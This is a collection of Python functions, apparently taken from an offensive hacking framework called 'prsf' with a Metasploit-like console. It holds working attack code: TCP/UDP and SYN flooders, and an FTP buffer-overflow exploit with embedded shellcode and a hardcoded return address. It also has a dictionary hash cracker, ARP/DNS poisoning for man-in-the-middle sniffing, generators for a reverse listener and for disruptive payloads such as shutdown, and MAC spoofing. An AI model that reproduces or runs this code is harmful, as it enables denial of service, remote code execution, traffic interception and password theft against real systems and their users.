def runCrack(self): print print_process("Starting Cracking Hash at {time}".format( time=src.source.use.time.strftime("%H:%M:%S"))) print_process("Password Hash: {pwd}".format(pwd=self.hash_password)) print_process( "Wordlist Path: {words}".format(words=self.password_files)) if len(self.hash_password) == 32: crack_hashMD5(self.hash_password, self.password_files) elif len(self.hash_password) == 40: crack_hashSHA1(self.hash_password, self.password_files) elif len(self.hash_password) == 56: crack_hashSHA224(self.hash_password, self.password_files) elif len(self.hash_password) == 64: crack_hashSHA256(self.hash_password, self.password_files) elif len(self.hash_password) == 96: crack_hashSHA384(self.hash_password, self.password_files) elif len(self.hash_password) == 128: crack_hashSHA512(self.hash_password, self.password_files) else: print_error("Error, Unknown hash password!!") bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker()
def main(self): print print_process("Starting Flooding on {host} at {time}".format( host=self.ip_address, time=src.source.use.time.strftime("%H:%M:%S"))) src.source.use.time.sleep(1) try: byte = src.source.use.random._urandom(4096) sock = src.source.use.socket.socket( src.source.use.socket.AF_INET, src.source.use.socket.SOCK_STREAM) sock.connect((self.ip_address, self.port_address)) sent = 0 try: while True: sock.sendto(byte, (self.ip_address, self.port_address)) sent = sent + 1 self.port_address = self.port_address + 1 print_process( "Attacking Flooding send {p} bytes on {host}:{port}". format(p=sent, host=self.ip_address, port=self.port_address)) if self.port_address == 65535: self.port_address = 1 except KeyboardInterrupt: print_error("Stop process... Exiting...") src.source.use.time.sleep(1) except src.source.use.socket.error as error: print_error(str(error))
def crack_hashSHA1(password, password_list): global value try: with open(password_list, "r") as dictionary: words = dictionary.readlines() hashed = {} try: src.process.verbose.verbose_mode(words) for word in words: sha1 = src.source.use.hashlib.sha1() sha1.update(word[:-1]) value = sha1.hexdigest() hashed[word[:-1]] = value for (key, value) in hashed.items(): if password == value: print_process("Found valid password is {}".format(key)) bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker( ) if not password in value: print_error("Not found valid password!!") bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker( ) except KeyboardInterrupt: print_warning("Interrupt user, canceling...") exit(0) except IOError as error: print_error(str(error))
def run(self): v_thread = [] gw_thread = [] try: while True: try: v_poison = threading.Thread(target=self.v_poison) v_poison.setDaemon(True) v_thread.append(v_poison) v_poison.start() gw_poison = threading.Thread(target=self.gateway_poison) gw_poison.setDaemon(True) gw_thread.append(gw_poison) gw_poison.start() packets = sniff(iface=self.interfaces, filter="udp port 53", prn=self.dns_handler) wrpcap( "output/{time}.cap".format( src.source.use.time.strftime("%H-%M-%S")), packets) except KeyboardInterrupt: exit(1) except KeyboardInterrupt: print_error("Exiting...") exit(0)
def main_payload(self): try: global filename if self.current_setting == "help": print(showHelpMessage()) elif self.current_setting == "show options": print(showOptionsMessage(filename)) elif self.current_setting == "back": bin.interfaces.MainConsole.main_interfaces() elif "set OUTPUT" in self.current_setting: try: filename = self.current_setting.split()[2] print("OUTPUT => {}".format(filename)) except IndexError: print_error("Required the output name payload!!") elif self.current_setting == "generate": if filename != "": kill = Kill_Process_Payload(filename) kill.writing_payload() else: print(showOptionsMessage(filename)) else: proc = Process_Shell(self.current_setting) proc.main_process() except: pass
def run_overflow(self): try: shell_code = ( "\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9" "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f" "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8" "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7" "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5" "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c" "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0" "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49" "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96" "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82" "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf" "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41" "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f" "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a" "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b" "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a" "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3" "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea" "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8" "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6" "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea" "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30" "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53" "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85" "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25" "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10" "\xba\x1e\x53\x31") print print_process("Connecting to host {target} at {times}".format( target=self.ip_address, times=src.source.use.time.strftime("%H:%M:%S-%p"))) src.source.use.time.sleep(1) ret = src.source.use.struct.pack('<L', 0x7C874413) padding = '\x90' * 2048 crash = '\x41' * 1024 + ret + padding + shell_code sock = src.source.use.socket.socket( src.source.use.socket.AF_INET, src.source.use.socket.SOCK_STREAM) # noinspection PyBroadException try: sock.connect((self.ip_address, self.port_address)) print_process("Sending stage buffer {} bytes crash".format( len(crash))) sock.send("USER " + "\x41" * 100 + "\r\n") sock.recv(4096) sock.send("PASS " + crash + "\r\n") sock.recv(4096) sock.send("PWND " + crash + "\r\n") sock.close() print_process("Completed exploit buffer overflow.") except src.source.use.socket.error as error_connect: print_error("Error Code: [{code}] Message: {message}".format( code=str(error_connect[0]), message=error_connect[1])) except KeyboardInterrupt: print_warning("Canceling process.... Exiting..") src.source.use.sys.exit(0)
def scan_port(host, port, r_code=1): try: sock = src.source.use.socket.socket(src.source.use.socket.AF_INET, src.source.use.socket.SOCK_STREAM) code = sock.connect_ex((host, port)) if code == 0: r_code = code sock.close() except src.source.use.socket.error as socketError: print_error(str(socketError)) src.source.use.sys.exit(0)
def Main_Interactive_SYN(): try: while True: cmd = raw_input("{ln}prsf{ln1} exploit({rd}syn_flood{rd1}) > ".format( ln=pycolor_style.L, ln1=pycolor_style.W, rd=pycolor_style.R, rd1=pycolor_style.W )) syn = Exploit_Syn_Attack(cmd) syn.main_exploit() if cmd == "exit": src.source.use.sys.exit() except KeyboardInterrupt: print_error('Interrupt by user, command "exit" to quit!!') Main_Interactive_SYN()
def writing_payload(self): try: print_process("Loaded payload Caplock Error...") src.source.use.time.sleep(1) with open(self.filename, "w") as output_payload: print_process("Generating payload... please wait..") src.source.use.time.sleep(2.5) output_payload.write(self.code) output_payload.close() src.source.use.time.sleep(1) print_process("Successfully completed") except IOError as error: print_error(str(error))
def main_generate(self): try: print_process("Process loaded payload handler...") src.source.use.time.sleep(1) with open(self.FILES, 'w') as payload_files: payload_files.write(self.payload) payload_files.close() print_process("Process open new window to generate payload") src.source.use.time.sleep(3) building_payload(self.FILES) print_process("Generate payload to execute success!!") except KeyboardInterrupt: print_error("Interrupt user, Stopping...") src.source.use.time.sleep(1)
def Main_Interactive_CDROM(): try: while True: cmd = raw_input("{ln}prsf{ln1} payloads({rd}CDROM{rd1}) > ".format( ln=pycolor_style.L, ln1=pycolor_style.W, rd=pycolor_style.R, rd1=pycolor_style.W)) cd = Payloads_CDROM(cmd) cd.main_payload() if cmd == "exit": src.source.use.sys.exit() except KeyboardInterrupt: print_error('Interrupt by user, command "exit" to quit!!') Main_Interactive_CDROM()
def Main_Interactive_Finder(): try: while True: cmd = raw_input("{ln}prsf{ls} exploit({red}finder{rd}) > ".format( ln=pycolor_style.L, ls=pycolor_style.W, red=pycolor_style.R, rd=pycolor_style.W)) find = Exploit_Finder(cmd) find.main_exploit() if cmd == "exit": exit(0) except KeyboardInterrupt: print_error('Interrupt by user, command "exit" to quit!') Main_Interactive_Finder()
def run_syn(self): try: for sport in range(0, self.count): protocol_IP = src.source.use.IP(src=self.source_address, dst=self.destination) protocol_TCP = src.source.use.TCP(sport=sport, dport=8080) protocol_UDP = src.source.use.UDP(sport=sport, dport=3128) packets = protocol_IP / protocol_TCP / protocol_UDP try: src.source.use.scapy.sendrecv.send(packets, count=self.count, verbose=1, inter=0.7) except KeyboardInterrupt: src.source.use.sys.exit(0) if sport == 100: self.run_syn() except IOError as error: print_error(str(error))
def Main_Interactive_Overflow(): try: while True: cmd = raw_input( "{ln}prsf{ls} exploit({rd}buffer_overflow{rds}) > ".format( ln=pycolor_style.L, ls=pycolor_style.W, rd=pycolor_style.R, rds=pycolor_style.W)) exp = Exploit_Buffer_Overflow(cmd) exp.main_exploit() if cmd == "exit": exit(0) except KeyboardInterrupt: print_error('Interrupt by user, command "exit" to quit!!') Main_Interactive_Overflow()
def Main_Interactive_HandlerRemote(): try: while True: cmd = raw_input( "{ln}prsf{ln1} exploit({rd}listener_handler{rd1}) > ".format( ln=pycolor_style.L, ln1=pycolor_style.W, rd=pycolor_style.R, rd1=pycolor_style.W)) main = Exploit_Handler(cmd) main.main_process() if cmd == "exit": src.source.use.sys.exit(0) except KeyboardInterrupt: print_error('Interrupt by user, command "exit" to quit!!') Main_Interactive_HandlerRemote()
def Main_Interactive_MITM(): try: while True: cmd = raw_input( "{ln}prsf{ln1} exploit({rd}ManInThe_Middle{rd1}) > ".format( ln=pycolor_style.L, ln1=pycolor_style.W, rd=pycolor_style.R, rd1=pycolor_style.W)) middle = Exploit_ManInTheMiddle_Attack(cmd) middle.main_exploit() if cmd == "exit": src.source.use.sys.exit() except KeyboardInterrupt: print_error('Interrupt by user, command "exit" to quit!!') Main_Interactive_MITM()
def Main_Interactive_FTP(): try: while True: cmd = raw_input("{l1}prsf{l2} exploit({rd1}ftp_brute{rd2}) > ".format( l1=pycolor_style.L, l2=pycolor_style.W, rd1=pycolor_style.R, rd2=pycolor_style.W )) ftp = Exploit_Ftp_Interfaces(cmd) ftp.main_exploit() if cmd == "exit": exit(0) except KeyboardInterrupt: print_error('Interrupt by user, command "exit" to quit!!') Main_Interactive_FTP() except EOFError: import sys sys.exit()
def writing_payload(self): try: print_process("Loaded payload Change Extension...") src.source.use.time.sleep(2) with open(self.File_Name, "w") as payload_output: print_process("Generating payload... please wait...") src.source.use.time.sleep(1) payload_output.write(self.code) payload_output.close() src.source.use.time.sleep(0.9) print_process("Successfully completed") except KeyboardInterrupt: print_error("Interrupt, Exiting...!!") src.source.use.sys.exit(0) except IOError as error: print_error(str(error))
def Main_Interactive_Flood(): try: while True: cmd = raw_input( "{ln1}prsf{ln2} exploit({rd1}udp_flooder{rd2}) > ".format( ln1=pycolor_style.L, ln2=pycolor_style.W, rd1=pycolor_style.R, rd2=pycolor_style.W)) udp = Exploit_Flood_Interfaces(cmd) udp.main_exploit() if cmd == "exit": exit(0) except KeyboardInterrupt: print_error('Interrupt by user, command "exit" to quit!!') Main_Interactive_Flood()
def writing_payload(self): try: print_process("Loaded payload Shutdown automatic...") src.source.use.time.sleep(2) with open(self.filename, "w") as output_payload: print_process("Generating payload... please wait...") src.source.use.time.sleep(1) output_payload.write(self.code) output_payload.close() src.source.use.time.sleep(0.9) print_process("Successfully completed") except KeyboardInterrupt: print_error("Interrupt user, Exiting...!!") src.source.use.sys.exit() except IOError as error: print_error(str(error))
def Main_Interactive_Android(): try: while True: cmd = raw_input( "{ln}prsf{ln1} exploit({rd}mac_address_android{rd1}) > ". format(ln=pycolor_style.L, ln1=pycolor_style.W, rd=pycolor_style.R, rd1=pycolor_style.W)) drd = Exploit_Replace_forAndroid(cmd) drd.main_exploit() if cmd == "exit": exit(0) except KeyboardInterrupt: print_error('Interrupt by user, command "exit" to quit!') Main_Interactive_Android()
def writing_payload(self): try: print_process("Loaded payload listener handler...") src.source.use.time.sleep(3) with open(self.filename, "w") as output_payload: print_process("Generating payload... please wait..") src.source.use.time.sleep(2) output_payload.write(self.execute()) output_payload.close() src.source.use.time.sleep(1) print_process("Successfully completed") except KeyboardInterrupt: print_error("Interrupt user, Exiting...") src.source.use.sys.exit(0) except IOError as error: print_error(str(error))
def Main_Interactive_Handler(): try: while True: cmd = raw_input( "{ln}prsf{ln1} payload({rd}listener_handler{rd1}) > ".format( ln=pycolor_style.L, ln1=pycolor_style.W, rd=pycolor_style.R, rd1=pycolor_style.W)) rat = Payload_Handler_Interfaces(cmd) rat.main_payload() if cmd == "exit": src.source.use.sys.exit(1) except KeyboardInterrupt: print_error('Interrupt by user, command "exit" to quit!!') Main_Interactive_Handler()
def Main_Interactive_Caplock(): try: while True: cmd = raw_input( "{ln}prsf{ln1} payloads({rd}caplock_error{rd1}) > ".format( ln=pycolor_style.L, ln1=pycolor_style.W, rd=pycolor_style.R, rd1=pycolor_style.W)) cd = Payloads_Caplock(cmd) cd.main_payload() if cmd == "exit": src.source.use.sys.exit() except KeyboardInterrupt: print_error('Interrupt by user, command "exit" to quit!!') import bin.interfaces.modules.modules_caplock bin.interfaces.modules.modules_caplock.Main_Interactive_Caplock()
def main_payload(self): global filename, lhost, lport try: if self.values == "help": print(showHelpMesssage()) elif self.values == "show options": print(showOptionsMessage(lhost, lport, filename)) elif self.values == "back": bin.interfaces.MainConsole.main_interfaces() elif "set LHOST" in self.values: try: lhost = self.values.split()[2] print("LHOST => {}".format(lhost)) except IndexError: print_error("Required the lhost!!") elif "set LPORT" in self.values: try: lport = int(self.values.split()[2]) print("LPORT => {}".format(lport)) except IndexError: print_error("Required the lport!!") elif "set OUTPUT" in self.values: try: filename = self.values.split()[2] print("OUTPUT => {}".format(filename)) except IndexError: print_error("Required the output name payload!!") elif self.values == "print": output = listener(lhost, lport) payloads_generator(output) elif self.values == "generate": if filename != "" and lhost != "" and lport != "": try: lst = Listener_Handler_Payloads(lhost, lport, filename) lst.writing_payload() except IOError as ioe: print_error(str(ioe)) else: print(showOptionsMessage(lhost, lport, filename)) else: proc = Process_Shell(self.values) proc.main_process() except: pass
def Main_Interactive_Cracker(): try: while True: cmd = raw_input( "{lines}prsf{line} exploit({red}cracker{reds}) > ".format( lines=pycolor_style.L, line=pycolor_style.W, red=pycolor_style.R, reds=pycolor_style.W)) ck = Exploit_Cracker(cmd) ck.main_exploit() if cmd == "exit": src.source.use.sys.exit(0) except KeyboardInterrupt: print print_error('Interrupt by user, command "exit" to quit!!') bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker() except EOFError: src.source.use.sys.exit()
def with_random(self): try: src.source.use.random.seed() self.new_mac = self.mac_address[:8].lower().replace('-', ':') for i in xrange(0, 6): if i % 2 == 0: self.new_mac += ':' self.new_mac += '0123456789abcdef'[src.source.use.random.randint(0, 15)] src.source.use.subprocess.call(['sudo', 'ifconfig', self.interfaces, 'down']) process = src.source.use.subprocess.Popen(['sudo', 'ifconfig', self.interfaces, 'hw', 'ether', self.new_mac], stdout=src.source.use.subprocess.PIPE, stderr=src.source.use.subprocess.PIPE).wait() src.source.use.subprocess.call(['sudo', 'ifconfig', self.interfaces, 'up']) if self.new_mac == self.mac_address: self.with_random() print_process("Completed successfully!!") except IOError as error: print_error(str(error)) except KeyboardInterrupt: print_warning("Canceling process...") exit(0)
def main_exploit(self): global host, port try: if self.values == "help": print(showHelpMessage()) elif self.values == "show options": print(showOptionsMessage(host, port)) elif self.values == "back": bin.interfaces.MainConsole.main_interfaces() elif "set HOST" in self.values: try: host = self.values.split()[2] print("HOST => {}".format(host)) except IndexError: print_error("Required host target!!") elif "set PORT" in self.values: try: port = int(self.values.split()[2]) print("PORT => {}".format(port)) except IndexError: print_error("Required port target!!") elif self.values == "run": if host != "" and port != "": print udp = UDP_Flooding(host, port) udp.main() else: print(showOptionsMessage(host, port)) else: proc = Process_Shell(self.values) proc.main_process() except: pass
def main_exploit(self): global mac, iface try: if self.values == "help": print(showHelpMessage_Android()) elif self.values == "show options": print(showOptionsMessage_Android(mac, iface)) elif self.values == "back": bin.interfaces.MainConsole.main_interfaces() elif "set MAC" in self.values: try: mac = self.values.split()[2] print("MAC => {}".format(mac)) except IndexError: print_error("Required your mac address to replace!!") elif "set IFACE" in self.values: try: iface = self.values.split()[2] print("IFACE => {}".format(iface)) except IndexError: print_error("Required your interfaces!!") elif self.values == "run": print if mac != "" and iface != "": droid = ReplaceMAC_Android(iface, mac) droid.replace_random() else: print(showOptionsMessage_Android(mac, iface)) else: proc = Process_Shell(self.values) proc.main_process() except: pass
def main_exploit(self): global mac_address, interfaces try: if self.values == "help": print(showHelpMessage_Linux()) elif self.values == "show options": print(showOptionMessage_Linux(mac_address, interfaces)) elif self.values == "back": bin.interfaces.MainConsole.main_interfaces() elif "set MAC" in self.values: try: mac_address = self.values.split()[2] print("MAC => {}".format(mac_address)) except IndexError: print_error("Required the mac address to replace!!") elif "set IFACE" in self.values: try: interfaces = self.values.split()[2] print("IFACE => {}".format(interfaces)) except IndexError: print_error("Required your interfaces!!") elif self.values == "run": print if mac_address != "" and interfaces != "": linux = ReplaceMAC_Linux(interfaces, mac_address) linux.with_random() else: print(showOptionMessage_Linux(mac_address, interfaces)) else: proc = Process_Shell(self.values) proc.main_process() except: pass